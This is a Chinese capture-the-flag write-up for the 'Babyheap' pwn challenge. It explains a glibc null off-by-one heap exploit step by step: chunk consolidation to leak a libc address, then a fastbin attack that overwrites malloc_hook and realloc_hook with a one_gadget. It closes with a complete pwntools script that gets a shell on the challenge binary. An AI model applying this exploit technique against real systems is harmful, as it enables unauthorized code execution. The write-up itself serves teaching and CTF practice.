攻防世界PWN之Babyheap(null off by one)題解

Babyheap(null off by one)

本題用到的知識

malloc_hook、realloc_hook、fastbin attack、unsorted bin合併

首先,檢查一下程序的保護機制,保護全開

然後用IDA分析,發現在創建並讀入數據時,有一個null off by one漏洞

我們所能利用的也就是這個漏洞

第一步仍然是想辦法泄露一些關鍵地址

由於可以溢出一字節的0數據到下一個chunk,以前,我們閱讀glibc內存管理,知道了chunk空間的共用情況,也就是下一個的chunkprev_size域給當前chunk當做數據域使用,這種情況只出現在malloc的大小爲8的奇數倍(324的奇數倍)的情況。考慮到unsorted bin的表頭會有libc中的main_arena+88的地址,因此我們首先肯定得創建一些unsorted bin。

現在,假如我們創建了幾個堆

  1. #chunk0  
  2. create(0x100,'a'*0x100)  
  3. #chunk1  
  4. create(0x100,'b'*0x100)  
  5. #chunk2  
  6. create(0x68,'c'*0x68)  
  7. #chunk3  
  8. create(0x68,'d'*0x68)  
  9. #chunk4  
  10. create(0x100,'e'*0x100)  

堆佈局如下

大小

數據

所屬chunk

Prev_size

0x8

0

Chunk0

Size

0x8

0x111

Data

0x100

 

Prev_size

0x8

0

Chunk1

Size

0x8

0x111

Data

0x100

 

Prev_size

0x8

0

Chunk2

Size

0x8

0x71

Data

0x60

 

0x8

 

Chunk3

Size

0x8

0x71

Data

0x60

 

0x8

 

Chunk4

Size

0x8

0x111

Data

0x100

 

 

其中,chunk0、chunk1、chunk4大小在unsorted bin範圍,當他們free後就進入了unsorted bin,並且相鄰的chunk會進行unlink合併。既然能夠溢出一字節0數據,那麼假如我們從chunk3中溢出,覆蓋chunk4size域的低一字節爲0,那麼就標誌了chunk4的前一chunk處於空閒狀態,那麼,當我們free chunk4的時候,chunk4就會與它的前一chunk合併,而它的前一chunk是如何取到的呢,看看glibc源碼

  1. /* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */  
  2. #define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))  

也就是依賴於prev_size,由於chunk3的大小爲0x68,是8的奇數倍,因此它會把chunk4的prev_size域作爲數據域,因此,prev_size我們可以自己指定大小

假如,我們在chunk3中,chunk4prev_size設置爲(0x110+0x110+0x70+0x70 = 0x300),然後覆蓋chunk4size1字節爲0,那麼,當我們delete(4)時,就會合並chunk4和chunk4-0x300處的chunk,也就是會合並chunk0chunk1chunk2chunk3chunk4

由於沒有編輯功能,我們只能delete(3)後再重新create分配到那個位置,同時構造payload溢出到chunk4

 

由於合併時,unlink會報錯,因此,我們在事先,應該delete(0),讓chunk0加入unsorted bin中。delete(2)用於將chunk2放入fastbin,供後續fastbin attack使用,注意,必需在合併chunk0chunk1chunk2chunk3chunk4之前讓chunk2加入fastbin,合併後再delete(2)不能讓chunk2加入到fastbin中

  1. #chunk2用於放入fastbin  
  2. delete(2)  
  3. #chunk3用於溢出  
  4. delete(3)  
  5. #chunk0用於加入unsorted bin,並且讓main_arena+88指針存入fdbk  
  6. delete(0)  
  7.   
  8. #chunk3申請回來,並off by one nullchunk4,覆蓋chunk4的低1字節爲0  
  9. payload = 'e'*0x60  
  10. #prev_size  
  11. payload += p64(0x300)  
  12. create(0x68,payload)  

現在堆的佈局是這樣子的

大小

數據

所屬chunk

Prev_size

0x8

0

Chunk0

Size

0x8

0x111

fd

0x8

Main_arena+88

bk

0x8

Main_arena+88

data

(0x100-0x8*2)

 

Prev_size

0x8

0x110

Chunk1

Size

0x8

0x110

Data

0x100

 

Prev_size

0x8

0

Chunk2

Size

0x8

0x71

Data

0x60

 

Prev_size

0x8

0x70

Chunk3

Size

0x8

0x70

Data

0x60

aaaaa….

Prev_size

0x8

0x300

Chunk4

Size

0x8

0x100

Data

0x100

 

接下來,我們delete(4)chunk0~chunk4發生合併,合併後chunk0作爲unsorted bin表頭fdbk值仍然指向main_arena+88

然而,當我們實際操作時,delete(4)時出現了報錯

我們看看glibc源碼

還記得chunk4size被我們覆蓋成了0x100嗎,原本是0x111,也就是說,現在取到的nextsizechunk4數據域裏偏移0x90+8處的數據,而不是下一個chunksize

爲了避免後續的其他類似的錯誤,我們把chunk4留下的那(0x110-0x100=0x10的空間僞裝成一個chunk5)

所以,在一開始創建chunk4的應該應該這樣寫

  1. #chunk4的創建,後0x10空間用於僞裝出一個假chunk5  
  2. create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))  

現在,我們再查看堆的佈局情況(pwndbg attach 到pid上,然後輸入bin命令)

現在發現,fastbin裏的那個就是我們的chunk2,待會fastbin attack用到

而unsorted bin裏就一個節點(chunk0),中間那個是main_arena+88,它們組成了雙向鏈表

現在,假如我們create(0x100),那麼glibc就會從unsorted bin中的表頭(chunk0)處開始,切割出0x110的空間給我們,然後表頭變成了chunk0+0x110

並且chunk0+0x110處開始作爲一個chunk,它的fdbk會被設置爲main_arena+88

但是,你發現了什麼,chunk0 + 0x110不就是chunk1嗎,還記得chunk1並沒有被我們free,它只是參與了合併,因此它的指針存在於數組中,並沒有被清0

那麼,當我們show()的時候,就會把chunk1的fd值打印出來,從而泄露了main_arena+88的地址

由於main_arena+88malloc_hook物理位置上在同一頁,並且靠的很近,因此,它們的地址只有後三位不一樣,那麼我們就能計算出malloc_hook的地址,然後就能計算出libc基地址,從而獲取gadget的地址

 

  1. #申請掉chunk0後,main_area+88指針放到了chunk1fdbk  
  2. create(0x100,'a'*0x100)  
  3.   
  4. show()  
  5.   
  6. sh.recvuntil('1 : ')  
  7.   
  8. main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))  
  9. #低字節覆蓋獲得malloc_hook的地址  
  10. malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)  
  11. libc_base = malloc_hook_addr - malloc_s_hook  
  12. realloc_addr = libc_base +  realloc_s  
  13. gadget_addr = libc_base + gadget  
  14. print 'malloc_hook_addr=',hex(malloc_hook_addr)  
  15. print 'realloc_addr=',hex(realloc_addr)  
  16. print 'gadget_addr=',hex(gadget_addr)  

現在一些需要的信息我們都得到了,我們接下來是想辦法把gadget的地址寫入到malloc_hook裏,這樣當程序再次malloc時,便會觸發gadget,從而get shell

現在我們用fastbin attack,fastbin attack能讓我們把堆申請到malloc_hook-0x23處,知道我們的chunk2爲什麼申請時設置爲0x68的大小嗎,因爲實際創建的大小是0x70,而malloc_hook-0x23處偏移0x8處的數據爲0x7F,與0x70大小相當

fastbin只檢查chunk的size域是否符合要求,因此,我們的chunk2的size要與它大小相當,這樣,我們想辦法把chunk2fd指向malloc_hook-0x23這個假chunk處,這樣,chunk2malloc_hook-0x23處構成了單向鏈表當我們第二次申請0x68大小的堆時,就會申請到malloc_hook-0x23,更多詳細知識見我的博客https://blog.csdn.net/seaaseesa/article/details/103057937

那麼如何才能修改到chunk2的fd域呢?

我們可以利用堆重疊

假如我們create(0x118,payload),由於之前已經create(0x100)過一次,那麼這次chunk分配的範圍就是chunk0 + 0x110 ~ chunk0+0x110+0x128也就是chunk1~chunk2+0x18處,正好可以把chunk2的fd給覆蓋了,如果覺得麻煩,直接申請大點,不用這麼精確

  1. #現在用fastbin attack  
  2. #堆重疊,修改chunk2fd指針  
  3. payload = 'g'*0x100  
  4. payload += p64(0) + p64(0x71)  
  5. payload += p64(malloc_hook_addr-0x23)  
  6. create(0x118,payload)  

現在,我們再看看堆的佈局

malloc_hook-0x23處成功鏈入fastbin,那麼當我們第二次申請0x68大小空間時就能申請到這裏

  1. #第一次申請  
  2. create(0x68,'h'*0x68)  
  3. #修改malloc_hook  
  4. payload = '\x00' * 0x13 + p64(gadget_addr)  
  5. payload += '\n'  
  6. #第二次申請  
  7. create(0x68,payload)  

這樣,看似已經可以了,我們只需再觸發一次malloc,即可getshell

  1. #觸發malloc_hook getshell  
  2. sh.sendlineafter('Your choice :\n','1')  
  3. sh.sendlineafter('Size:','1')'''  

然而,gadget變得不可用,執行不成功

以下兩段來自看雪論壇https://bbs.pediy.com/thread-246786.htm

 

有些情況下one_gadget因爲棧環境原因全部都不可用,這時可以通過realloc_hook來調整堆棧環境使one_gadget可用。realloc函數在函數起始會檢查realloc_hook的值是否爲0,不爲0則跳轉至realloc_hook指向地址。realloc_hookmalloc_hook相鄰,故可通過fastbin attack一同修改兩個值。

如何利用realloc_hook來調整棧環境呢?

觀察realloc函數的流程push寄存器,最後全部pop出來跳轉至realloc_hook的值。

因此可以將realloc_hook設置爲選擇好的one_gadget,將malloc_hook設置爲realloc函數開頭某一push寄存器處。pushpop的次數是一致的,若push次數減少則會壓低堆棧,改變棧環境。這時one_gadget就會可以使用。具體要壓低棧多少要根據環境決定,這裏我們可以進行小於48字節內或72字節的堆棧調整。

經過測試,我們只需在realloc函數地址向下偏移2就可以使棧環境正常

於是,我們修改後的代碼

  1. #修改realloc_hookmalloc_hook  
  2. payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)  
  3. #用於堆棧調整  
  4. payload += p64(realloc_addr + 2)  
  5. payload += '\n'  
  6. #第二次申請  
  7. create(0x68,payload)  

 

最終,我們寫出瞭如下的exp腳本

  1. #coding:utf8  
  2. from pwn import *  
  3. from one_gadget import *  
  4.   
  5. context.log_level = 'debug'  
  6. sh = process('./timu')  
  7. #sh = remote('111.198.29.45',57745)  
  8. libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'  
  9. libc = ELF(libc_path)  
  10. #malloc_hook的靜態地址  
  11. malloc_s_hook = libc.symbols['__malloc_hook']  
  12. #realloc函數的靜態地址  
  13. realloc_s = libc.sym['realloc']  
  14. #gadger  
  15. g = generate_one_gadget(libc_path)  
  16. gadget = g.next()  
  17.   
  18. #sh = remote('111.198.29.45',41803)  
  19.   
  20. def create(size,content):  
  21.    sh.sendlineafter('Your choice :\n','1')  
  22.    sh.sendlineafter('Size:',str(size))  
  23.    sh.sendafter('Data:',content)  
  24.   
  25. def delete(index):  
  26.    sh.sendlineafter('Your choice :\n','2')  
  27.    sh.sendlineafter('Index:',str(index))  
  28.   
  29. def show():  
  30.    sh.sendlineafter('Your choice :\n','3')  
  31.   
  32.   
  33. #chunk0  
  34. create(0x100,'a'*0x100)  
  35. #chunk1  
  36. create(0x100,'b'*0x100)  
  37. #chunk2  
  38. create(0x68,'c'*0x68)  
  39. #chunk3  
  40. create(0x68,'d'*0x68)  
  41. #chunk4  
  42. #特別!!chunk4後面0x10空間用於僞裝假chunk5  
  43. create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))  
  44.   
  45. #chunk2用於放入fastbin  
  46. delete(2)  
  47. #chunk3用於溢出  
  48. delete(3)  
  49. #chunk0用於加入unsorted bin,並且讓main_arena+88指針存入fdbk  
  50. delete(0)  
  51.   
  52. #chunk3申請回來,並off by one nullchunk4,覆蓋chunk4的低1字節爲0  
  53. payload = 'e'*0x60  
  54. #prev_size  
  55. payload += p64(0x300)  
  56. create(0x68,payload)  
  57. #01234堆塊合併  
  58. delete(4)  
  59.   
  60. #申請掉chunk0後,main_area+88指針放到了chunk1fdbk  
  61. create(0x100,'a'*0x100)  
  62. show()  
  63. sh.recvuntil('1 : ')  
  64.   
  65. main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))  
  66. #低字節替換獲得malloc_hook的地址  
  67. malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)  
  68. libc_base = malloc_hook_addr - malloc_s_hook  
  69. realloc_addr = libc_base +  realloc_s  
  70. gadget_addr = libc_base + gadget  
  71. print 'malloc_hook_addr=',hex(malloc_hook_addr)  
  72. print 'realloc_addr=',hex(realloc_addr)  
  73. print 'gadget_addr=',hex(gadget_addr)  
  74.   
  75.   
  76. #現在用fastbin attack  
  77. #堆重疊,修改chunk2fd指針  
  78. payload = 'g'*0x100  
  79. payload += p64(0) + p64(0x71)  
  80. payload += p64(malloc_hook_addr-0x23)  
  81. create(0x118,payload)  
  82.   
  83. #第一次申請  
  84. create(0x68,'h'*0x68)  
  85. #修改realloc_hookmalloc_hook  
  86. payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)  
  87. #用於堆棧調整  
  88. payload += p64(realloc_addr + 2)  
  89. payload += '\n'  
  90. #第二次申請  
  91. create(0x68,payload)  
  92. #觸發malloc_hook getshell  
  93. sh.sendlineafter('Your choice :\n','1')  
  94. sh.sendlineafter('Size:','1')  
  95.   
  96. sh.interactive()  
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章